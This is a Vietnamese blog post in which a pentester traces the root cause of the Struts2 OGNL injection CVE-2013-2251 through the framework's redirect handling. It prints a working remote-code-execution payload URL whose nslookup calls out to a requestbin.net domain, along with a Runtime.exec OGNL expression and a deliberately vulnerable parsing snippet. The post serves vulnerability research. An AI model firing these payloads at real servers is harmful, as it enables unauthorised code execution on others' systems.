Phân tích Struts2 OGNL Injection — CVE-2013–2251

Buxu
nightst0rm
Published in
5 min readDec 13, 2019

Gần đây khi pentest một số ứng dụng thì tôi gặp phải 1 vài trong số đó sử dụng struts2 — đây là một java framework khá lâu nhưng vẫn đang được sử dụng nhiều trong phát triển ứng dụng java web. Ngày xưa khi đang làm ở công ty cũ, tôi vẫn phải thường xuyên tham gia dev cũng như kiểm tra secure coding của dev khác nên việc coding với struts2 thì không có gì lạ (code thằng này tốn công tốn sức vãi lun). Với mục tiêu tìm được cái gì đấy mới để trong trường hợp đi pentest lại gặp người quen struts2 nữa còn có cái cho vào báo cáo thì tôi quyết định thử phân tích kỹ hơn về lỗ hổng OGNL injection trên struts2xem sao.

Tuy nhiên để tìm bug mới thì cũng phải hiểu rõ ràng về code flow các bug cũ về OGNL nó như thế nào, từ đó có hướng tìm bug đỡ tốn thời gian hơn vì có thể các “sinks” cũ đó đã nhiều người focus vào rồi hoặc trong quá trình nghiên cứu sẽ thấy “sinks” mới nào đó (nghe hơi nohope :) ). Có một số struts2 CVE cũng đã có người phân tích nên tôi sẽ focus vào CVE chưa có bài phân tích để xem như thế nào. Trong danh sách ở https://cwiki.apache.org/confluence/display/WW/Security+Bulletins, tôi sẽ chọn bug S2–016 ( CVE-2013–2251) để phân tích (không chắc đã có bài phân tích về CVE này chưa nhưng tôi search google thì không thấy).

Đầu tiên, tôi sẽ dựng lại một con web demo dùng phiên bản struts 2.3.12 sử dụng Maven (IDE Netbean — dùng quen rồi nên không muốn đổi sang IDE khác), add dependence pom file:

<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-showcase</artifactId>
<version>2.3.12</version>
</dependency>

Sau đó thêm các cấu hình Struts.xml, web.xml, applicationContext.xml cho struts2 — cái này cũng mất chút thời gian ngồi deploy rồi fix lỗi. Tôi sẽ không nói chi tiết phần này vì tài liệu về struts2 cũng nhiều, còn cách fix lỗi thì cứ deploy gặp lỗi gì lại fix thôi :|.

Sau khi hoàn thành deploy, bắt đầu tìm hiểu về CVE-2013–2251 này. Đọc trên mô tả của cwiki.apache.org thì tôi thấy nó liên quan đến DefaultActionMapper, nôm na nó hỗ trợ mấy cái chuyển hướng khi sử dụng với button strong struts2, ví dụ như:

<s:submit name=”redirect:www.nightst0rm.net" value=”Go”/>

Ngó qua class này, thấy ngay các xử lý cho từng loại chuyển hướng như method:, redirect:, action: redirectAction:

Có chút thông tin này thì ta cứ breakpoint vào chỗ xử lý chuyển hướng với redirect: và sử dụng payload dạng:

http://localhost:8084/struts/hello.action?redirect:PAYLOAD_HERE

http://localhost:8084/struts/hello.action?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27nslookup%27,%27YYY.d8c4944a82510262afe2.d.requestbin.net%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}

Đến đây thì là câu chuyện debug, trace code thần chưởng. Để giảm đi thời gian phải ngồi debug vào những function, class trước và sau khi cái OGNL expression được execute thì tôi sẽ sử dụng payload để RCE, thực hiện câu lệnh nslookup tới 1 domain trên requestbin.net. Công việc sau đó là F8 cứ đoạn code nào làm cho trên requestbin.net xuất hiện dữ liệu có dns lookup query thì chứng tỏ OGNL expression đã được execute từ đoạn code đó. Xong lại tiếp tục debug đoạn code đó, dẫn tới nhữngfunctions nào nữa thì lại tiếp tục lặp lại cách debug như vậy. Lặp đi lặp lại với các hành động nhàm chán như vậy, tôi có được kết quả phần code tôi quan tâm sau:

Code flow đi lang thang một lúc sẽ tới struts2-core-2.3.12-sources.jar;org/apache/struts2/dispatcher/Dispatcher.java, invokes tiếp execute() function của class ServletRedirectResult. Tiếp theo thì nó như thế này:

Trong execute() function, gọi tới conditionalParse() function
Trong conditionalParse() function, gọi tới TextParseUtil.translateVariables(), trong đó giá trị tham số param truyền vào chính là đoạn payload sau redirect:
Tiếp tục gọi tới translateVariables với tham số đầu tiên là mảng openChars 2 ký tự $ và % — các ký tự để nhận biết bắt đầu của đoạn OGNL expression
Tham số expression chính là đoạn OGNL payloadmà tôi mong muốn. Phần code này bắt đầu xử lý đối với đoạn OGNL payload
Code flow tiếp tục gọi tới OgnlValueStack class, function findValue()
tham số var truyền vào findValue() của OgnlValueStack class nhận giá trị OGNL payload mà tôi mong muốn

Từ đây, thì luồng code sẽ qua các funtions sau:

OgnlValueStack.findValue => OgnlValueStack.tryFindValueWhenExpressionIsNotNull() => OgnlValueStack.tryFindValue() => OgnlValueStack.getValue() => OgnlUtil.getvalue() => OgnlUtil.compile() => Ognl.parseExpression()

Tới đây thì đoạn OGNL payload sẽ được thực thi.

Có thể test thử với đoạn code nhỏ:

OgnlContext ctx = new OgnlContext();
String expression = request.getParameter("input");
Object expr = Ognl.parseExpression(expression);
Object value = Ognl.getValue(expr, ctx, root);
System.out.println("Value: " + value);

với giá trị truyền vào:

(#xxx = @java.lang.Runtime@getRuntime(),#xxx.exec(“calc.exe”))

Từ đây tiếp tục debug tìm hiểu thêm về cách OGNL library thực thi chi tiết đoạn payload, các “sinks” mà tôi có thể focus vào để tìm kiếm bug. Tuy nhiên, trong khuôn khổ nội dung tìm hiểu về CVE-2013–2251 thì tôi sẽ tạm dừng tại đây.

Hi vọng là sẽ tìm được thêm cái gì đó hay ho thời gian tới. (Cơ mà trong thời gian nghiên cứu cái này, hên hên lại tòi ra bug của một library khác ✌️, tuy bị hạn chế về khả năng exploit nhưng cũng là một bug thú vị, chờ lỗi được khắc phục và có thời gian rảnh thì tôi sẽ chia sẻ sau)

Thanks for watching :D

--

--